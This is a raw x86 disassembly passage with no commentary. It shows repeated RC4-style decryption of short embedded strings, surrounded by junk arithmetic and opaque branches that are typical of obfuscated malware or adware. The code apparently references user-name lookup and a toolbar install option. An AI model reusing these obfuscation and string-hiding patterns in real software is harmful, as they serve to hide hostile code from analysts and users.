and dword [ebp - 0x18], 0
add eax, 0x55272d43
mov esi, dword [ebp - 0x68]
mov dword [0x10041284], eax
lea eax, [esi + 1]
movzx esi, al
mov eax, dword [ebp - 0x18]
mov cl, byte [ebp + esi - 0x21c]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x21c]
mov byte [ebp + esi - 0x21c], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x21c], cl
movzx eax, byte [ebp + esi - 0x21c]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x21c]
xor al, byte [ebp + edi - 8]
mov byte [ebp + edi - 0x388], al
inc edi
cmp edi, 4
jb 0x10027503
mov esi, str.Asturian
mov byte [ebp - 0x384], 0
lea edi, [ebp - 0x34]
mov dword [ebp - 0x60], 0x3b8edf07
push 0xe
pop eax
movsd dword es:[edi], dword [esi]
xor ecx, ecx
mov byte [ebp - 0x59], al
mov eax, dword [ebp - 0x24]
and eax, 0xa472d960
mov word [ebp - 0x5c], 0xd6fb
movsd dword es:[edi], dword [esi]
mov dword [0x10041304], eax
xor eax, eax
mov byte [ebp - 0x5a], 0xeb
mov word [ebp - 0x58], 0xc0fa
movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0x21c], al
inc eax
cmp eax, 0x100
jb 0x1002759b
xor esi, esi
mov dl, byte [ebp + esi - 0x21c]
mov eax, esi
and eax, 7
mov byte [ebp - 1], dl
movzx edx, dl
movzx eax, byte [ebp + eax - 0x34]
add eax, ecx
mov ecx, dword [0x10041284]
add edx, eax
movzx eax, dl
mov edx, str.washingtondc
mov dword [ebp - 0x68], eax
call fcn.10025120
mov edx, dword [0x10041318]
xor edi, edi
lea eax, [edx - 0x5fa390ee]
mov dword [0x10041304], eax
inc edi
cmp byte [edi + str.Your_Sesame_authentication_request_failed.], 0
jne 0x100275f0
mov ecx, dword [0x1004130c]
push eax
call fcn.100254bf
pop ecx
cmp edi, 0x10f
jbe 0x1002761b
add dword [0x10041234], 0xada1908
jmp 0x1002762a
mov eax, dword [0x10041234]
or eax, 0x58f3c68c
mov dword [0x10041318], eax
call fcn.1002620d
mov ecx, dword [ebp - 0x68]
mov eax, dword [0x1004130c]
or eax, 0xc2aafa2c
mov dword [ebp - 0x20], eax
mov dword [0x10041234], eax
mov al, byte [ebp + ecx - 0x21c]
mov byte [ebp + esi - 0x21c], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x21c], al
cmp esi, 0x100
jb 0x100275ac
and dword [ebp - 0x18], 0
xor edi, edi
xor esi, esi
mov dword [ebp - 0x68], 0xa
imul eax, dword [0x10041284], 0x1ff15546
mov dword [ebp - 0x78], eax
mov dword [0x10041318], eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x18]
push 0xa
mov cl, byte [ebp + edi - 0x21c]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x21c]
mov byte [ebp + edi - 0x21c], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x21c], cl
movzx eax, byte [ebp + edi - 0x21c]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x21c]
xor al, byte [ebp + esi - 0x60]
mov byte [ebp + esi - 0x3e4], al
inc esi
pop eax
cmp esi, eax
jb 0x1002768a
mov ecx, dword [ebp - 0x20]
lea edi, [ebp - 0xec]
mov esi, str.is_into_cartoons
mov byte [ebp - 0x3da], 0
xor ecx, 0xbc592420
mov word [ebp - 0xc], 0x3b4a
mov byte [ebp - 0xa], 0xa0
mov dword [0x10041284], ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor edi, edi
cmp byte [0x100412b0], 0
je 0x10027773
mov eax, dword [ebp - 0x78]
or eax, 0x5002de1a
mov dword [0x10041234], eax
inc edi
cmp byte [edi + 0x100412b0], 0
jne 0x1002772c
mov esi, dword [ebp - 0x40]
cmp esi, edi
jae 0x10027773
cmp esi, 0x228f
jne 0x10027759
mov eax, dword [0x1004130c]
and eax, 0xa548abf6
mov dword [0x10041304], eax
call fcn.10025b18
mov eax, dword [0x10041304]
add eax, 0x369892c0
inc esi
mov dword [0x10041318], eax
cmp esi, edi
jb 0x1002773d
mov ecx, dword [0x10041284]
imul eax, ecx, 0xf5c6339c
xor ecx, 0x21bcaed1
mov dword [0x10041318], ecx
or eax, 0xdd15c02e
xor esi, esi
mov dword [0x10041234], eax
call fcn.10025b18
mov eax, dword [0x10041304]
or eax, 0xbfbaee5a
inc esi
mov dword [0x10041318], eax
cmp byte [esi + str.washingtondc], 0
jne 0x10027791
call fcn.10025b18
cmp esi, 0x90b
jb 0x100277cb
xor dword [0x10041234], 0x17c81d3b
call fcn.1002563f
mov ecx, dword [0x10041234]
mov eax, ecx
and dword [ebp - 0x20], 0
and eax, 0x51847522
and dword [ebp - 0x10], 0
mov dword [0x10041304], eax
lea eax, [ecx + 0x2bfe37e5]
mov ecx, dword [0x10041318]
mov dword [0x1004130c], eax
call fcn.1002603d
mov al, byte [0x100412b0]
lea edi, [ebp - 0xb8]
push 8
pop ecx
mov esi, str.Cannot_remove_the_window_itself
xor edx, edx
rep movsd dword es:[edi], dword [esi]
cmp al, byte [ebp - 0xb8]
jmp 0x1002783e
test al, al
je 0x10027843
cmp byte [ebp + edx - 0xb8], 0
je 0x10027843
call fcn.100247de
mov edx, dword [ebp - 0x24]
inc edx
mov al, byte [edx + 0x100412b0]
cmp al, byte [ebp + edx - 0xb8]
mov dword [ebp - 0x24], edx
je 0x1002781a
movzx eax, byte [ebp + edx - 0xb8]
movzx esi, byte [edx + 0x100412b0]
mov edx, str.0_010A0Q0d0r00
mov ecx, dword [0x1004130c]
sub esi, eax
call fcn.10025d8a
cmp esi, 0x5a3
jne 0x1002788b
mov edx, dword [0x10041318]
mov ecx, dword [0x10041304]
and dword [0x10041234], 0x7e7faa21
push edx
call fcn.100254bf
pop ecx
jmp 0x1002789f
imul eax, dword [0x10041284], 0xdb3a98d8
mov dword [0x10041304], eax
call fcn.100247de
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x21c], al
inc eax
mov dword [ebp - 0x10], eax
cmp eax, 0x100
jae 0x100278bf
mov ecx, dword [0x10041234]
jmp 0x100277e5
mov esi, dword [0x10041234]
xor edi, edi
and esi, 0xd6286da1
mov dword [ebp - 0x78], esi
mov dword [0x10041318], esi
mov esi, dword [ebp - 0x20]
mov dl, byte [ebp + edi - 0x21c]
mov eax, edi
push 0xf
pop ecx
and eax, ecx
movzx ecx, dl
movzx eax, byte [ebp + eax - 0xec]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x21c]
mov byte [ebp + edi - 0x21c], al
inc edi
mov byte [ebp + esi - 0x21c], dl
cmp edi, 0x100
jb 0x100278d9
mov esi, dword [ebp - 0x78]
xor ecx, ecx
mov eax, dword [0x10041234]
xor esi, 0x84753bf6
or eax, 0x1748334b
mov dword [0x1004130c], esi
xor edx, edx
mov dword [0x10041304], eax
and dword [ebp - 0x24], ecx
lea eax, [ecx + 1]
movzx esi, al
mov dword [ebp - 0x78], esi
mov al, byte [ebp + esi - 0x21c]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0x6c], eax
add eax, edx
movzx edi, al
mov dword [ebp - 0x20], edi
call fcn.10024f01
mov ecx, dword [0x10041284]
mov eax, str.wxART_HELP_BOOK
or ecx, 0xead84284
inc eax
cmp byte [eax], 0
jne 0x1002796d
mov al, byte [ebp + edi - 0x21c]
lea edi, [ebp - 0xe8]
mov edx, dword [0x10041304]
mov byte [ebp + esi - 0x21c], al
xor edx, 0x452fb8b8
mov al, byte [0x100412b0]
mov esi, str.GetTempFileName
mov dword [0x10041284], ecx
xor ecx, ecx
mov dword [0x10041234], edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp al, byte [ebp - 0xe8]
jne 0x100279db
test al, al
je 0x100279db
cmp byte [ebp + ecx - 0xe8], 0
je 0x100279db
mov al, byte [ecx + 0x100412b1]
inc ecx
cmp al, byte [ebp + ecx - 0xe8]
je 0x100279bd
movzx eax, byte [ebp + ecx - 0xe8]
movzx ecx, byte [ecx + 0x100412b0]
sub ecx, eax
cmp ecx, 0x1855
jne 0x10027a0a
mov eax, dword [0x10041304]
add eax, 0xf2c25b46
mov dword [0x10041318], eax
call fcn.10025948
jmp 0x10027a15
imul eax, edx, 0xab0de97a
mov dword [0x10041318], eax
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x78]
mov al, byte [ebp - 1]
mov esi, dword [ebp - 0x24]
mov byte [ebp + edx - 0x21c], al
movzx eax, byte [ebp + ecx - 0x21c]
add eax, dword [ebp - 0x6c]
movzx eax, al
mov al, byte [ebp + eax - 0x21c]
xor al, byte [ebp + esi - 0xc]
mov byte [ebp + esi - 0x294], al
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 3
jb 0x1002793c
mov esi, str.GdipAddPathCurve2
mov byte [ebp - 0x291], 0
lea edi, [ebp - 0xac]
mov dword [ebp - 8], 0xaebcc2fe
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.10025948
mov esi, str.xn__uisz3g
lea edi, [ebp - 0x38]
push 0x59
pop eax
xor ecx, ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0x38], al
jne 0x10027aa8
test al, al
je 0x10027aa8
cmp byte [ebp + ecx - 0x38], 0
je 0x10027aa8
mov al, byte [ecx + 0x1003cac1]
inc ecx
cmp al, byte [ebp + ecx - 0x38]
je 0x10027a90
movzx eax, byte [ebp + ecx - 0x38]
movzx esi, byte [ecx + str.Your_Sesame_authentication_request_failed.]
sub esi, eax
call fcn.100253d4
cmp esi, 0x1595
jne 0x10027ad9
mov eax, dword [0x10041284]
xor eax, 0x6d262138
mov dword [0x1004130c], eax
call fcn.1002563f
jmp 0x10027ae8
mov eax, dword [0x10041304]
add eax, 0x71fa66cb
mov dword [0x1004130c], eax
mov eax, dword [0x10041318]
lea edi, [ebp - 0xe8]
mov esi, str.wxImageHandler
add eax, 0xfe95b352
mov dword [0x10041304], eax
xor ecx, ecx
mov al, byte [0x100412b0]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
cmp al, byte [ebp - 0xe8]
jmp 0x10027b3b
test al, al
je 0x10027b40
cmp byte [ebp + ecx - 0xe8], 0
je 0x10027b40
call fcn.10025f00
mov ecx, dword [ebp - 0x24]
inc ecx
mov al, byte [ecx + 0x100412b0]
cmp al, byte [ebp + ecx - 0xe8]
mov dword [ebp - 0x24], ecx
je 0x10027b17
movzx eax, byte [ebp + ecx - 0xe8]
mov edx, str.is_a_nascarfan
movzx esi, byte [ecx + 0x100412b0]
mov ecx, dword [0x1004130c]
sub esi, eax
call fcn.10025d8a
cmp esi, 0x651
jne 0x10027b85
imul eax, dword [0x10041284], 0x684e4de2
mov ecx, dword [0x10041234]
mov dword [0x10041284], eax
call fcn.1002603d
jmp 0x10027b94
or dword [0x10041318], 0xed17a581
call fcn.1002553e
xor edi, edi
xor eax, eax
mov byte [ebp + eax - 0x21c], al
inc eax
cmp eax, 0x100
jb 0x10027b98
xor esi, esi
mov dword [ebp - 0x24], 0x11
sub dword [0x10041284], 0x7bc1ea00
xor edx, edx
mov cl, byte [ebp + esi - 0x21c]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x24]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xac]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x21c]
mov byte [ebp + esi - 0x21c], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x21c], al
cmp esi, 0x100
jb 0x10027bba
xor edx, edx
xor esi, esi
and dword [ebp - 0x10], edx
jmp 0x10027c0a
mov esi, dword [ebp - 0x20]
lea eax, [edx + 1]
movzx edx, al
lea edi, [ebp - 0xe8]
mov dword [ebp - 0x78], edx
mov cl, byte [ebp + edx - 0x21c]
movzx eax, cl
mov dword [ebp - 0x6c], eax
add eax, esi
movzx esi, al
mov dword [ebp - 0x20], esi
mov al, byte [ebp + esi - 0x21c]
mov byte [ebp + edx - 0x21c], al
xor edx, edx
mov byte [ebp + esi - 0x21c], cl
mov esi, str.33833B3L3Z3c3
mov ecx, dword [0x10041318]
mov eax, ecx
or eax, 0x70f8b78b
mov dword [0x10041304], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp byte [ebp - 0xe8], 0x77
jne 0x10027c89
mov al, 0x77
test al, al
je 0x10027c89
cmp byte [ebp + edx - 0xe8], 0
je 0x10027c89
mov al, byte [edx + 0x1003cf25]
inc edx
cmp al, byte [ebp + edx - 0xe8]
je 0x10027c6b
movzx eax, byte [ebp + edx - 0xe8]
movzx esi, byte [edx + str.washingtondc]
sub esi, eax
call fcn.1002603d
cmp esi, 0x750
jne 0x10027cbb
mov esi, dword [0x1004130c]
mov eax, esi
xor eax, 0x32e40d9b
mov dword [0x10041284], eax
jmp 0x10027cd5
imul eax, dword [0x10041234], 0x644d70c4
mov dword [0x10041284], eax
call fcn.1002553e
mov esi, dword [0x1004130c]
mov edx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x10]
movzx eax, byte [ebp + edx - 0x21c]
add eax, dword [ebp - 0x6c]
movzx eax, al
mov al, byte [ebp + eax - 0x21c]
xor al, byte [ebp + ecx - 8]
mov byte [ebp + ecx - 0x2b0], al
inc ecx
mov dword [ebp - 0x10], ecx
cmp ecx, 4
jb 0x10027c07
imul eax, esi, 0xa990555a
lea edi, [ebp - 0x60]
mov esi, str.2R2Z2j2v22
mov byte [ebp - 0x2ac], 0
push 0x14
mov dword [ebp - 0x38], 0xe405d6fa
mov byte [ebp - 0x34], pe_nt_image_headers32
movsd dword es:[edi], dword [esi]
mov dword [0x10041284], eax
pop eax
mov byte [ebp - 0x33], al
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x32], 0x35834add
mov byte [ebp - 0x2e], 0xa1
movsd dword es:[edi], dword [esi]
xor edi, edi
xor eax, eax
mov byte [ebp + eax - 0x21c], al
inc eax
cmp eax, 0x100
jb 0x10027d45
xor esi, esi
xor edx, edx
mov cl, byte [ebp + esi - 0x21c]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x70]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x60]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x21c]
mov byte [ebp + esi - 0x21c], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x21c], al
cmp esi, 0x100
jb 0x10027d56
and dword [ebp - 0x10], 0
xor esi, esi
and dword [ebp - 8], esi
mov ecx, dword [0x10041304]
lea eax, [esi + 1]
mov edx, dword [0x10041318]
movzx eax, al
push ecx
mov dword [ebp - 0x78], eax
call fcn.100254bf
pop ecx
push 5
pop ecx
mov esi, str.Bogus_message_code__d
lea edi, [ebp - 0xb0]
rep movsd dword es:[edi], dword [esi]
push 0x59
xor eax, eax
pop ecx
movsw word es:[edi], word [esi]
mov dword [ebp - 0x18], eax
cmp byte [ebp - 0xb0], cl
jne 0x10027e49
test cl, cl
je 0x10027e07
cmp byte [ebp + eax - 0xb0], 0
je 0x10027e07
call fcn.10025b89
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
mov cl, byte [eax + str.Your_Sesame_authentication_request_failed.]
cmp cl, byte [ebp + eax - 0xb0]
je 0x10027dde
mov edi, dword [ebp - 0x20]
cmp edi, eax
jae 0x10027e49
mov esi, dword [ebp - 0x18]
cmp edi, 0x1907
jne 0x10027e2d
mov eax, dword [0x10041318]
or eax, 0xcffb3c13
mov dword [0x10041304], eax
call fcn.1002529d
imul eax, dword [0x10041304], 0x5e581c05
mov dword [0x1004130c], eax
call fcn.100253d4
inc edi
cmp edi, esi
jb 0x10027e11
mov dword [ebp - 0x20], edi
mov esi, dword [ebp - 0x78]
mov eax, dword [ebp - 0x10]
push 0xb
mov cl, byte [ebp + esi - 0x21c]
movzx edx, cl
add eax, edx
movzx edi, al
mov dword [ebp - 0x10], edi
mov al, byte [ebp + edi - 0x21c]
mov byte [ebp + esi - 0x21c], al
mov byte [ebp + edi - 0x21c], cl
movzx eax, byte [ebp + esi - 0x21c]
mov ecx, dword [ebp - 8]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x21c]
xor al, byte [ebp + ecx - 0x38]
mov byte [ebp + ecx - 0x3f0], al
inc ecx
pop eax
mov dword [ebp - 8], ecx
cmp ecx, eax
jb 0x10027da0
and dword [ebp - 0x10], 0
lea edi, [ebp - 0xe8]
mov esi, str.SensingMethod
mov byte [ebp - 0x3e5], 0
mov word [ebp - 0xc], 0x37d5
xor eax, eax
mov byte [ebp - 0xa], 0x34
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov byte [ebp + eax - 0x21c], al
inc eax
cmp eax, 0x100
jb 0x10027ece
mov eax, dword [0x10041318]
add eax, 0x5fe7b9fc
mov dword [ebp - 0x11c], 0xd
mov dword [0x10041318], eax
add eax, 0x79a0cd23
and dword [ebp - 8], 0
mov dword [0x10041304], eax
mov esi, str.riched20
lea edi, [ebp - 0x5c]
xor eax, eax
mov dword [ebp - 0x18], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0x5c], 0x77
jne 0x10027f86
mov cl, 0x77
test cl, cl
je 0x10027f3f
cmp byte [ebp + eax - 0x5c], 0
je 0x10027f3f
call fcn.10025f00
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
mov cl, byte [eax + str.washingtondc]
cmp cl, byte [ebp + eax - 0x5c]
je 0x10027f1c
mov edi, dword [ebp - 0x20]
cmp edi, eax
jae 0x10027f86
mov esi, dword [ebp - 0x18]
call fcn.1002553e
cmp edi, 0x416
jne 0x10027f6a
mov eax, dword [0x10041304]
add eax, 0xdea99e8
mov dword [0x10041284], eax
call fcn.10025f00
mov eax, dword [0x10041234]
and eax, 0x4de1d07c
mov dword [0x10041284], eax
call fcn.100257a9
inc edi
cmp edi, esi
jb 0x10027f49
mov dword [ebp - 0x20], edi
mov esi, dword [ebp - 8]
xor edx, edx
push 0xd
pop edi
mov eax, esi
div edi
mov cl, byte [ebp + esi - 0x21c]
mov byte [ebp - 1], cl
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xe8]
add eax, dword [ebp - 0x10]
add ecx, eax
mov eax, dword [0x1004130c]
movzx edi, cl
or eax, 0xe45b7eb3
mov dword [0x10041284], eax
mov dword [ebp - 0x10], edi
mov al, byte [ebp + edi - 0x21c]
mov byte [ebp + esi - 0x21c], al
call fcn.1002529d
mov eax, dword [0x10041284]
and eax, 0xe2bc62c9
inc esi
mov dword [0x1004130c], eax
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x21c], al
mov dword [ebp - 8], esi
cmp esi, 0x100
jb 0x10027f04
and dword [ebp - 0x18], 0
xor edi, edi
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x18]
mov cl, byte [ebp + edi - 0x21c]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x21c]
mov byte [ebp + edi - 0x21c], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x21c], cl
movzx eax, byte [ebp + edi - 0x21c]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x21c]
xor al, byte [ebp + esi - 0xc]
mov byte [ebp + esi - 0x298], al
inc esi
cmp esi, 3
jb 0x10028005
push 5
and dword [ebp - 0x18], 0
lea edi, [ebp - 0xb0]
pop ecx
mov esi, str.6_686_6L6P6T6X6_6x66
mov byte [ebp - 0x295], 0
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 8], 0x9148a07f
xor eax, eax
movsw word es:[edi], word [esi]
mov byte [ebp + eax - 0x21c], al
inc eax
cmp eax, 0x100
jb 0x10028083
call fcn.100253d4
mov cl, byte [0x100412b0]
lea edi, [ebp - 0xe8]
mov esi, str.GetUserNameExW
xor eax, eax
mov dword [ebp - 0x10], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
cmp cl, byte [ebp - 0xe8]
jne 0x100280dc
test cl, cl
je 0x100280d9
cmp byte [ebp + eax - 0xe8], 0
je 0x100280d9
mov cl, byte [eax + 0x100412b1]
inc eax
cmp cl, byte [ebp + eax - 0xe8]
je 0x100280bb
mov dword [ebp - 0x10], eax
call fcn.10024f01
mov edi, dword [ebp - 0x40]
mov esi, dword [ebp - 0x10]
jmp 0x1002811f
call fcn.10025948
cmp edi, 0x1133
jne 0x1002810a
imul eax, dword [0x1004130c], 0x4a560812
mov dword [0x10041318], eax
call fcn.100247de
mov eax, dword [0x1004130c]
add eax, 0x60cc1610
mov dword [0x10041318], eax
call fcn.1002563f
inc edi
cmp edi, esi
jb 0x100280e9
call fcn.10025b18
mov eax, dword [0x1004130c]
xor edi, edi
and eax, 0x4b23937c
mov dword [0x10041304], eax
inc edi
cmp byte [edi + str.washingtondc], 0
jne 0x10028139
mov esi, dword [ebp - 0x40]
jmp 0x10028188
call fcn.1002620d
cmp esi, 0x219e
jne 0x10028173
mov eax, dword [0x1004130c]
mov ecx, dword [0x10041304]
add eax, 0xf03889fb
push ecx
mov edx, ecx
mov dword [0x10041284], eax
call fcn.100254bf
pop ecx
mov eax, dword [0x10041234]
add eax, 0xeedaa959
mov dword [0x10041318], eax
call fcn.100253d4
inc esi
cmp esi, edi
jb 0x10028148
push 0x15
xor esi, esi
pop edi
xor edx, edx
mov cl, byte [ebp + esi - 0x21c]
mov eax, esi
mov byte [ebp - 1], cl
div edi
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xb0]
add eax, dword [ebp - 0x18]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x18], ecx
mov al, byte [ebp + ecx - 0x21c]
mov byte [ebp + esi - 0x21c], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x21c], al
cmp esi, 0x100
jb 0x10028191
and dword [ebp - 0x18], 0
xor edi, edi
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x18]
mov cl, byte [ebp + edi - 0x21c]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x21c]
mov byte [ebp + edi - 0x21c], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x21c], cl
movzx eax, byte [ebp + edi - 0x21c]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x21c]
xor al, byte [ebp + esi - 8]
mov byte [ebp + esi - 0x2b8], al
inc esi
cmp esi, 4
jb 0x100281e0
mov ecx, dword [0x1004130c]
mov edx, 0x100412b0
call fcn.10025120
mov eax, dword [0x10041234]
lea edi, [ebp - 0xb0]
xor eax, 0x21fac653
mov byte [ebp - 0x2b4], 0
mov dword [0x10041304], eax
mov esi, str.installoption_toolbarff
mov eax, dword [0x10041318]
add eax, 0xe886bd3e
mov dword [ebp - 0x38], 0xe1442024
push 0x21
mov dword [0x10041284], eax
pop eax
push 0x14
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x33], al
pop eax
push 6
pop ecx
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x2d], al
xor edi, edi
mov byte [ebp - 0x34], 0x66
xor eax, eax
mov dword [ebp - 0x32], 0x3959ce60
mov byte [ebp - 0x2e], 0xf3
mov byte [ebp + eax - 0x21c], al
inc eax
cmp eax, 0x100
jb 0x100282a6
xor esi, esi
mov dword [ebp - 0x78], 0x17
xor edx, edx
mov cl, byte [ebp + esi - 0x21c]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x78]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xb0]
mov edx, str.wxART_HELP_BOOK
add eax, edi
add ecx, eax
movzx eax, cl
mov ecx, 0x100412b0
mov dword [ebp - 0x20], eax
mov al, byte [ebp + eax - 0x21c]
mov byte [ebp + esi - 0x21c], al
call fcn.10024c4b
xor edi, edi
imul eax, dword [0x10041318], 0xa877a644
mov dword [0x10041304], eax
inc edi
cmp byte [edi + str.wxART_HELP_BOOK], 0
jne 0x10028312
call fcn.1002499f
cmp edi, 0x2038
jbe 0x1002833a
mov eax, dword [0x10041318]
and eax, 0xe4c62341
mov dword [0x10041234], eax
jmp 0x10028344
and dword [0x1004130c], 0x8b728da1
xor edi, edi
call fcn.10025b18
mov eax, dword [0x10041304]
add eax, 0x2f8ca05a
inc edi
mov dword [0x10041284], eax
cmp byte [edi + str.Your_Sesame_authentication_request_failed.], 0
jne 0x10028346
call fcn.100253d4
cmp edi, 0x22e0
jne 0x10028382
mov eax, dword [0x10041234]
xor eax, 0xaa4f5ccd
mov dword [0x10041304], eax
jmp 0x10028396
mov eax, dword [0x10041304]
and eax, 0xa9e6f41d
mov dword [0x10041284], eax
call fcn.100247de
mov edi, dword [ebp - 0x20]
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x21c], al
cmp esi, 0x100
jb 0x100282be
xor eax, eax
mov dword [ebp - 0x20], 0xc
xor edx, edx
and dword [ebp - 0x18], eax
inc eax
xor esi, esi
movzx ecx, al
mov dword [ebp - 8], ecx
mov al, byte [ebp + ecx - 0x21c]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0x10], eax
add eax, edx
movzx edx, al
imul eax, dword [0x1004130c], 0x9d3a23c0
mov dword [ebp - 0xc], edx
mov dword [0x10041234], eax
inc esi
cmp byte [esi + str.Your_Sesame_authentication_request_failed.], 0
jne 0x100283ee
mov edi, dword [ebp - 0x6c]
cmp edi, esi
jae 0x1002843d
cmp edi, 0xf2b
jne 0x1002841b
mov eax, dword [0x10041304]
add eax, 0x35825177
mov dword [0x10041234], eax
call fcn.10025f00
mov eax, dword [0x10041284]
and eax, 0x31814e7f
mov dword [0x10041318], eax
call fcn.100257a9
inc edi
cmp edi, esi
jb 0x100283ff
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x6c], edi
mov al, byte [ebp + edx - 0x21c]
mov byte [ebp + ecx - 0x21c], al
mov al, byte [ebp - 1]
mov byte [ebp + edx - 0x21c], al
movzx eax, byte [ebp + ecx - 0x21c]
add eax, dword [ebp - 0x10]
movzx eax, al
mov al, byte [ebp + eax - 0x21c]
mov byte [ebp - 1], al
call fcn.100247de
push 5
pop ecx
mov esi, str.GdipTranslateRegion
lea edi, [ebp - 0xac]
xor edx, edx
rep movsd dword es:[edi], dword [esi]
cmp byte [ebp - 0xac], 0x77
mov dword [ebp - 0x10], edx
jne 0x100284bb
mov al, 0x77
test al, al
je 0x100284bb
cmp byte [ebp + edx - 0xac], 0
je 0x100284bb
call fcn.100257a9
mov edx, dword [ebp - 0x10]
inc edx
mov dword [ebp - 0x10], edx
mov al, byte [edx + str.washingtondc]
cmp al, byte [ebp + edx - 0xac]
je 0x10028492
movzx eax, byte [ebp + edx - 0xac]
mov edi, str.wxART_HELP_BOOK
movzx esi, byte [edx + str.washingtondc]
mov ecx, edi
sub esi, eax
call fcn.10024576
cmp esi, 0x12f1
jae 0x100284f1
imul eax, dword [0x10041234], 0x2711f217
mov dword [0x10041318], eax
jmp 0x1002850d
mov eax, dword [0x10041304]
mov edx, edi
mov ecx, dword [0x10041318]
add eax, 0xef2bf956
mov dword [0x10041284], eax
call fcn.10025120
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0xc]
push 0xc
mov al, byte [ebp + ecx - 0x38]
xor al, byte [ebp - 1]
mov byte [ebp + ecx - 0x418], al
inc ecx
pop eax
cmp ecx, eax
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 8]
jb 0x100283be
push 8
pop ecx
mov esi, str.._AUISchedulerProxy_Concurrency__
mov byte [ebp - 0x40c], 0
lea edi, [ebp - 0xbc]
mov word [ebp - 0xc], 0x40ab
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0xa], 0xed
movsw word es:[edi], word [esi]
xor edi, edi
xor eax, eax
mov byte [ebp + eax - 0x21c], al
inc eax
cmp eax, 0x100
jb 0x1002855a
xor esi, esi
xor edx, edx
mov cl, byte [ebp + esi - 0x21c]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x28]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xbc]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x21c]
mov byte [ebp + esi - 0x21c], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x21c], al
cmp esi, 0x100
jb 0x1002856b